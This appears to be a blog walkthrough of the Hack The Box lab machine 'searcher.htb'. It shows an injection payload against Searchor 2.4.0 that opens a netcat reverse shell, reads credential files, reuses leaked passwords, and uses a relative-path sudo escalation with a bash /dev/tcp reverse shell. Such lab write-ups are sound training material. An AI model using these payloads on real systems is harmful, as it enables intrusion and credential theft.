![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?resize=800%2C418&ssl=1\")
<\/figure>\n\n\n\n\n\n\n\nFirst of all we need to add to the \u201c\/etc\/hosts\u201d file the name of the machine:<\/p>\n\n\n\n
10.10.11.208 searcher.htb searcher<\/code><\/pre>\n\n\n\nAlso we will perform a scan with Nmap:<\/p>\n\n\n\n
\n- sudo nmap -sT -n -Pn -sV -T4 -vv 10.10.11.208<\/li>\n<\/ul>\n\n\n\n
PORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n80\/tcp open http Apache httpd 2.4.52\nService Info: Host: searcher.htb; OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\nWe discovered an HTTP Server (Port: 80):<\/p>\n\n\n\n
PORT STATE SERVICE VERSION\n80\/tcp open http Apache httpd 2.4.52<\/code><\/pre>\n\n\n\nWe will see the web page:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?resize=800%2C536&ssl=1\")
<\/figure>\n\n\n\nReview the code of the page and we can see the technology that is been used from the web page:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?resize=800%2C65&ssl=1\")
<\/figure>\n\n\n\n<footer class=\"mt-auto\">\n\n <div class=\"footer-basic\">\n <hr>\n <div class=\"social\"><a href=\"#\"><i class=\"icon ion-social-instagram\"><\/i><\/a><a href=\"#\"><i class=\"icon ion-social-snapchat\"><\/i><\/a><a href=\"#\"><i class=\"icon ion-social-twitter\"><\/i><\/a><a href=\"#\"><i class=\"icon ion-social-facebook\"><\/i><\/a><\/div>\n <ul class=\"list-inline\">\n <li class=\"list-inline-item\"><a href=\"#\">Home<\/a><\/li>\n <li class=\"list-inline-item\"><a href=\"#\">Services<\/a><\/li>\n <li class=\"list-inline-item\"><a href=\"#\">About<\/a><\/li>\n <li class=\"list-inline-item\"><a href=\"#\">Terms<\/a><\/li>\n <li class=\"list-inline-item\"><a href=\"#\">Privacy Policy<\/a><\/li>\n <\/ul>\n <p class=\"copyright\">searcher.htb \u00a9 2023<\/p>\n <p class=\"copyright\">Powered by <a style=\"color:black\" target='_blank' href=\"<https:\/\/flask.palletsprojects.com>\">Flask<\/a> and <a style=\"color:black\" target='_blank' href=\"<https:\/\/github.com\/ArjunSharda\/Searchor>\">Searchor 2.4.0<\/a> <\/p><br>\n <\/div>\n <script src=\"<https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/jquery\/3.2.1\/jquery.min.js>\"><\/script>\n <script src=\"<https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/twitter-bootstrap\/4.1.3\/js\/bootstrap.bundle.min.js>\"><\/script>\n\n<\/footer><\/code><\/pre>\n\n\n\nThe information gives us a great point to start. We know the tools the web page is using and also check the version of the technology. We need to check if there is any vulnerability:<\/p>\n\n\n\n
https:\/\/github.com\/ArjunSharda\/Searchor<\/a><\/p>\n\n\n\nAfter research in google we can see the next vulnerability (Arbitrary Code Execution):<\/p>\n\n\n\n
https:\/\/security.snyk.io\/package\/pip\/searchor\/2.4.0<\/a><\/p>\n\n\n\nIt currently doesn\u2019t exist a PoC about how we can exploit this Vulnerability. We need to try to exploit it by our self. The first action we will do is try to bypass the input, for this we will use Burp Suite and the repeater functionality:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?resize=800%2C271&ssl=1\")
<\/figure>\n\n\n\nAfter configure our navigator we need to send an example petition and after that we will modify it to try to do a command injection. The first try, could be like this:<\/p>\n\n\n\n
function(''),#<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?resize=800%2C394&ssl=1\")
<\/figure>\n\n\n\nThe second try, could be like this. We will try to send various params:<\/p>\n\n\n\n
example'),1#<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?resize=800%2C394&ssl=1\")
<\/figure>\n\n\n\nNow we already know we can execute an attack because we view response from the server. We will check some reverse shells, from \u201c<\/a>https:\/\/www.revshells.com\/<\/a>\u201d and finally we can use the next reverse shell but before we need to execute netcat:<\/p>\n\n\n\nnc -nlvp 4444<\/code><\/pre>\n\n\n\nAfter that we will execute our payload with the reverse shell:<\/p>\n\n\n\n
engine=Accuweather&query=example'),__import__('os').system('busybox nc 10.10.16.15 4444 -e \/bin\/sh')#<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?resize=800%2C411&ssl=1\")
<\/figure>\n\n\n\nFinally we will have a connection with the machine through the netcat. Now we can reach the user flag:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7.png?resize=497%2C131&ssl=1\")
<\/figure>\n\n\n\nAfter that we confirm the application is vulnerable also we have a reverse shell communication. Now we will check through burp suite some files (\/etc\/passwd):<\/p>\n\n\n\n
engine=Accuweather&query=example'),__import__('os').system('cat \/etc\/passwd')#<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?resize=796%2C346&ssl=1\")
<\/figure>\n\n\n\nAnd we will get the next result where we can see the user \u2018svc\u2019:<\/p>\n\n\n\n
HTTP\/1.1 200 OK\nDate: Tue, 16 May 2023 08:29:56 GMT\nServer: Werkzeug\/2.1.2 Python\/3.10.6\nContent-Type: text\/html; charset=utf-8\nVary: Accept-Encoding\nContent-Length: 2001\nConnection: close\n\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:103:104::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\npollinate:x:105:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsyslog:x:107:113::\/home\/syslog:\/usr\/sbin\/nologin\nuuidd:x:108:114::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:109:115::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:110:116:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nlandscape:x:111:117::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nusbmux:x:112:46:usbmux daemon,,,:\/var\/lib\/usbmux:\/usr\/sbin\/nologin\n**svc:x:1000:1000:svc:\/home\/svc:\/bin\/bash**\nlxd:x:999:100::\/var\/snap\/lxd\/common\/lxd:\/bin\/false\nfwupd-refresh:x:113:119:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\ndnsmasq:x:114:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\n_laurel:x:998:998::\/var\/log\/laurel:\/bin\/false\n('<https:\/\/www.accuweather.com\/en\/search-locations?query=example>', 0)<\/code><\/pre>\n\n\n\nNow, we will list the actual directory to view how many directories and files have:<\/p>\n\n\n\n
engine=Accuweather&query=example'),__import__('os').system('ls -la')#<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?resize=784%2C377&ssl=1\")
<\/figure>\n\n\n\nDefinitely we found something. We have a git directory:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?resize=784%2C377&ssl=1\")
<\/figure>\n\n\n\nAfter looking for something interesting we found the git config file with credentials:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?resize=800%2C224&ssl=1\")
<\/figure>\n\n\n\nHTTP\/1.1 200 OK\nDate: Tue, 16 May 2023 11:19:42 GMT\nServer: Werkzeug\/2.1.2 Python\/3.10.6\nContent-Type: text\/html; charset=utf-8\nVary: Accept-Encoding\nConnection: close\nContent-Length: 362\n\n[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n[remote \"origin\"]\n\turl = http:\/\/cody:jh1usoih2bkjaspwe92@gitea.searcher.htb\/cody\/Searcher_site.git\n\tfetch = +refs\/heads\/*:refs\/remotes\/origin\/*\n[branch \"main\"]\n\tremote = origin\n\tmerge = refs\/heads\/main\n('https:\/\/www.accuweather.com\/en\/search-locations?query=example', 0)<\/code><\/pre>\n\n\n\nAlso, we will check the \u2018\/etc\/hosts\u2019 file to discover more information:<\/p>\n\n\n\n
engine=Accuweather&query=example'),__import__('os').system('cat \/etc\/hosts')#<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-13.png?resize=796%2C346&ssl=1\")
<\/figure>\n\n\n\nAfter check the \u2018\/etc\/hosts\u2019 file we will discover a new domain name:<\/p>\n\n\n\n
HTTP\/1.1 200 OK\nDate: Tue, 16 May 2023 08:32:55 GMT\nServer: Werkzeug\/2.1.2 Python\/3.10.6\nContent-Type: text\/html; charset=utf-8\nVary: Accept-Encoding\nContent-Length: 323\nConnection: close\n\n127.0.0.1 localhost\n127.0.1.1 busqueda searcher.htb **gitea.searcher.htb**\n\n# The following lines are desirable for IPv6 capable hosts\n::1 ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nff00::0 ip6-mcastprefix\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n('<https:\/\/www.accuweather.com\/en\/search-locations?query=example>', 0)<\/code><\/pre>\n\n\n\nNow we need to configure our \u2018hosts\u2019 file. With something like this:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-14.png?resize=550%2C240&ssl=1\")
<\/figure>\n\n\n\nAfter modifying our file, we will discover a new web app (Gitea):<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-15.png?resize=800%2C351&ssl=1\")
<\/figure>\n\n\n\nWe already have a credentials to check into the Gitea platform:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-16.png?resize=800%2C275&ssl=1\")
<\/figure>\n\n\n\nFortunately, we have the right user to sign in:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-17.png?resize=800%2C275&ssl=1\")
<\/figure>\n\n\n\nAfter reviewing the application I don\u2019t see anything but we are going to check the credentials through the SSH with the user \u201csvc\u201d that we have viewed into the file ‘\/etc\/passwd’:<\/p>\n\n\n\n
ssh svc@10.10.11.208 (jh1usoih2bkjaspwe92)<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-18.png?resize=800%2C468&ssl=1\")
<\/figure>\n\n\n\nNow we have a SSH connection. We will to enumerate more to try to do \u201cPrivilege Escalation\u201d. The first thing we going to check is the \u201csudo\u201d permissions of the current user:<\/p>\n\n\n\n
sudo -l<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-19.png?resize=800%2C112&ssl=1\")
<\/figure>\n\n\n\nAs we can see we found something interesting, some script for check something with the root privileges. We will try to execute this script we have found:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-20.png?resize=800%2C120&ssl=1\")
<\/figure>\n\n\n\nApparently this script interacts with the docker service that already is installed in the machine:<\/p>\n\n\n\n
systemctl --type=service --state=running<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-21.png?resize=800%2C460&ssl=1\")
<\/figure>\n\n\n\nAfter that we will check the script has been discovered. The first thing we will do is to check which are the docker instances that are now running:<\/p>\n\n\n\n
sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py docker-ps<\/code><\/pre>\n\n\n\nWe will see two instances. The first one is \u201cGitea\u201d and the second one is \u201cMysql\u201d:<\/p>\n\n\n\n
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n960873171e2e gitea\/gitea:latest \"\/usr\/bin\/entrypoint\u2026\" 4 months ago Up 4 hours 127.0.0.1:3000->3000\/tcp, 127.0.0.1:222->22\/tcp gitea\nf84a6b33fb5a mysql:8 \"docker-entrypoint.s\u2026\" 4 months ago Up 4 hours 127.0.0.1:3306->3306\/tcp, 33060\/tcp mysql_db<\/code><\/pre>\n\n\n\nAfter that we will use the same script to dump the configuration of the two instances. It is important understand how \u201cdocker\u201d works and also how it works the functionality we will use (Docker Instance<\/a>). Now we will check the configuration:<\/p>\n\n\n\nsudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e<\/code><\/pre>\n\n\n\nWe can see which are the credential it use to connect with the Mysql service (Gitea instance):<\/p>\n\n\n\n
{\n \"Hostname\": \"960873171e2e\",\n \"Domainname\": \"\",\n \"User\": \"\",\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"AttachStderr\": false,\n \"ExposedPorts\": {\n \"22\/tcp\": {},\n \"3000\/tcp\": {}\n },\n \"Tty\": false,\n \"OpenStdin\": false,\n \"StdinOnce\": false,\n \"Env\": [\n \"USER_UID=115\",\n \"USER_GID=121\",\n \"GITEA__database__DB_TYPE=mysql\",\n \"GITEA__database__HOST=db:3306\",\n \"GITEA__database__NAME=gitea\",\n \"GITEA__database__USER=gitea\",\n \"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh\",\n \"PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\",\n \"USER=git\",\n \"GITEA_CUSTOM=\/data\/gitea\"\n ],\n \"Cmd\": [\n \"\/bin\/s6-svscan\",\n \"\/etc\/s6\"\n ],\n \"Image\": \"gitea\/gitea:latest\",\n \"Volumes\": {\n \"\/data\": {},\n \"\/etc\/localtime\": {},\n \"\/etc\/timezone\": {}\n },\n \"WorkingDir\": \"\",\n \"Entrypoint\": [\n \"\/usr\/bin\/entrypoint\"\n ],\n \"OnBuild\": null,\n \"Labels\": {\n \"com.docker.compose.config-hash\": \"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515\",\n \"com.docker.compose.container-number\": \"1\",\n \"com.docker.compose.oneoff\": \"False\",\n \"com.docker.compose.project\": \"docker\",\n \"com.docker.compose.project.config_files\": \"docker-compose.yml\",\n \"com.docker.compose.project.working_dir\": \"\/root\/scripts\/docker\",\n \"com.docker.compose.service\": \"server\",\n \"com.docker.compose.version\": \"1.29.2\",\n \"maintainer\": \"maintainers@gitea.io\",\n \"org.opencontainers.image.created\": \"2022-11-24T13:22:00Z\",\n \"org.opencontainers.image.revision\": \"9bccc60cf51f3b4070f5506b042a3d9a1442c73d\",\n \"org.opencontainers.image.source\": \"<https:\/\/github.com\/go-gitea\/gitea.git>\",\n \"org.opencontainers.image.url\": \"<https:\/\/github.com\/go-gitea\/gitea>\"\n }\n}<\/code><\/pre>\n\n\n\nAlso we will check the another instance:<\/p>\n\n\n\n
sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e\n<\/code><\/pre>\n\n\n\nWe can see the credentials of the root for the Mysql service (Mysql instance):<\/p>\n\n\n\n
{\n \"Hostname\": \"f84a6b33fb5a\",\n \"Domainname\": \"\",\n \"User\": \"\",\n \"AttachStdin\": false,\n \"AttachStdout\": false,\n \"AttachStderr\": false,\n \"ExposedPorts\": {\n \"3306\/tcp\": {},\n \"33060\/tcp\": {}\n },\n \"Tty\": false,\n \"OpenStdin\": false,\n \"StdinOnce\": false,\n \"Env\": [\n \"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF\",\n \"MYSQL_USER=gitea\",\n \"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh\",\n \"MYSQL_DATABASE=gitea\",\n \"PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\",\n \"GOSU_VERSION=1.14\",\n \"MYSQL_MAJOR=8.0\",\n \"MYSQL_VERSION=8.0.31-1.el8\",\n \"MYSQL_SHELL_VERSION=8.0.31-1.el8\"\n ],\n \"Cmd\": [\n \"mysqld\"\n ],\n \"Image\": \"mysql:8\",\n \"Volumes\": {\n \"\/var\/lib\/mysql\": {}\n },\n \"WorkingDir\": \"\",\n \"Entrypoint\": [\n \"docker-entrypoint.sh\"\n ],\n \"OnBuild\": null,\n \"Labels\": {\n \"com.docker.compose.config-hash\": \"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b\",\n \"com.docker.compose.container-number\": \"1\",\n \"com.docker.compose.oneoff\": \"False\",\n \"com.docker.compose.project\": \"docker\",\n \"com.docker.compose.project.config_files\": \"docker-compose.yml\",\n \"com.docker.compose.project.working_dir\": \"\/root\/scripts\/docker\",\n \"com.docker.compose.service\": \"db\",\n \"com.docker.compose.version\": \"1.29.2\"\n<\/code><\/pre>\n\n\n\nAfter that also we will check the last functionality of the script. We need to execute it and we will see information about the instances:<\/p>\n\n\n\n
sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py full-checkup\n<\/code><\/pre>\n\n\n\nThe result of the execution:<\/p>\n\n\n\n
[=] Docker conteainers\n{\n \"\/gitea\": \"running\"\n}\n{\n \"\/mysql_db\": \"running\"\n}\n\n[=] Docker port mappings\n{\n \"22\/tcp\": [\n {\n \"HostIp\": \"127.0.0.1\",\n \"HostPort\": \"222\"\n }\n ],\n \"3000\/tcp\": [\n {\n \"HostIp\": \"127.0.0.1\",\n \"HostPort\": \"3000\"\n }\n ]\n}\n\n[=] Apache webhosts\n[+] searcher.htb is up\n[+] gitea.searcher.htb is up\n\n[=] PM2 processes\n\u250c\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 id \u2502 name \u2502 namespace \u2502 version \u2502 mode \u2502 pid \u2502 uptime \u2502 \u21ba \u2502 status \u2502 cpu \u2502 mem \u2502 user \u2502 watching \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0 \u2502 app \u2502 default \u2502 N\/A \u2502 fork \u2502 1755 \u2502 2m \u2502 0 \u2502 online \u2502 0% \u2502 30.1mb \u2502 svc \u2502 disabled \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[+] Done!<\/code><\/pre>\n\n\n\nNow we have some credentials and also some users. In this point we will check some combinations of them in Gitea:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-22.png?resize=800%2C217&ssl=1\")
<\/figure>\n\n\n\nAfter checking some combinations we will found the credentials for the \u201cadministrator\u201d user for Gitea:<\/p>\n\n\n\n
administrator:yuiu1hoiu4i5ho1uh<\/code><\/pre>\n\n\n\nAfter accessing the platform we will see a new repository which has the soruce code of the script we have discovered with \u201csudo -l\u201d:<\/p>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?resize=800%2C331&ssl=1\")
<\/figure>\n\n\n\nNow we need to analyse the source code to see some bug or something like that:<\/p>\n\n\n\n
#!\/bin\/bash\nimport subprocess\nimport sys\n\nactions = ['full-checkup', 'docker-ps','docker-inspect']\n\ndef run_command(arg_list):\n r = subprocess.run(arg_list, capture_output=True)\n if r.stderr:\n output = r.stderr.decode()\n else:\n output = r.stdout.decode()\n\n return output\n\ndef process_action(action):\n if action == 'docker-inspect':\n try:\n _format = sys.argv[2]\n if len(_format) == 0:\n print(f\"Format can't be empty\")\n exit(1)\n container = sys.argv[3]\n arg_list = ['docker', 'inspect', '--format', _format, container]\n print(run_command(arg_list)) \n \n except IndexError:\n print(f\"Usage: {sys.argv[0]} docker-inspect <format> <container_name>\")\n exit(1)\n \n except Exception as e:\n print('Something went wrong')\n exit(1)\n \n elif action == 'docker-ps':\n try:\n arg_list = ['docker', 'ps']\n print(run_command(arg_list)) \n \n except:\n print('Something went wrong')\n exit(1)\n\n elif action == 'full-checkup':\n try:\n ***arg_list = ['.\/full-checkup.sh']***\n print(run_command(arg_list))\n print('[+] Done!')\n except:\n print('Something went wrong')\n exit(1)\n \n\nif __name__ == '__main__':\n\n try:\n action = sys.argv[1]\n if action in actions:\n process_action(action)\n else:\n raise IndexError\n\n except IndexError:\n print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')\n print('')\n print(' docker-ps : List running docker containers')\n print(' docker-inspect : Inpect a certain docker container')\n print(' full-checkup : Run a full system checkup')\n print('')\n exit(1)<\/code><\/pre>\n\n\n\nAfter search some issue in the source code we can see the action \u201cfull-checkup\u201d execute the script \u201c.\/full-checkup.sh\u201d with relative path then we need to create a new script with our reverse shell code and execute the script in the same directory:<\/p>\n\n\n\n
#!\/bin\/bash\n\n# set the ip address of your machine\nip='<Your IP Address>'\n# set the port number of your listener\nport=1234\n\n# create the reverse shell\n\/bin\/bash -i >& \/dev\/tcp\/$ip\/$port 0>&1<\/code><\/pre>\n\n\n\nAfter creating our reverse shell and execute the script with sudo privileges we will receive a new connection through our netcat server:<\/p>\n\n\n\n
sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py full-checkup<\/code><\/pre>\n\n\n\n![\"\"](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?resize=800%2C252&ssl=1\")
<\/figure>\n\n\n\nNow we already have access to the root flag!<\/p>\n\n\n\n
This machine is good to start thinking like a pentester because you will need to reuse different \u201cthings\u201d to gather more information and finally get the root flag. However, even if it is an easy machine you will need to focus a read correctly everything to get the important \u201chints\u201d.<\/p>\n\n\n\n
If you need more information about some subject see the relevant links:<\/p>\n\n\n\n
https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/python-eval-code-execution\/<\/a><\/p>\n\n\n\nhttps:\/\/www.revshells.com\/<\/a><\/p>\n\n\n\nhttps:\/\/docs.docker.com\/engine\/reference\/commandline\/inspect\/<\/a><\/p>\n\n\n\n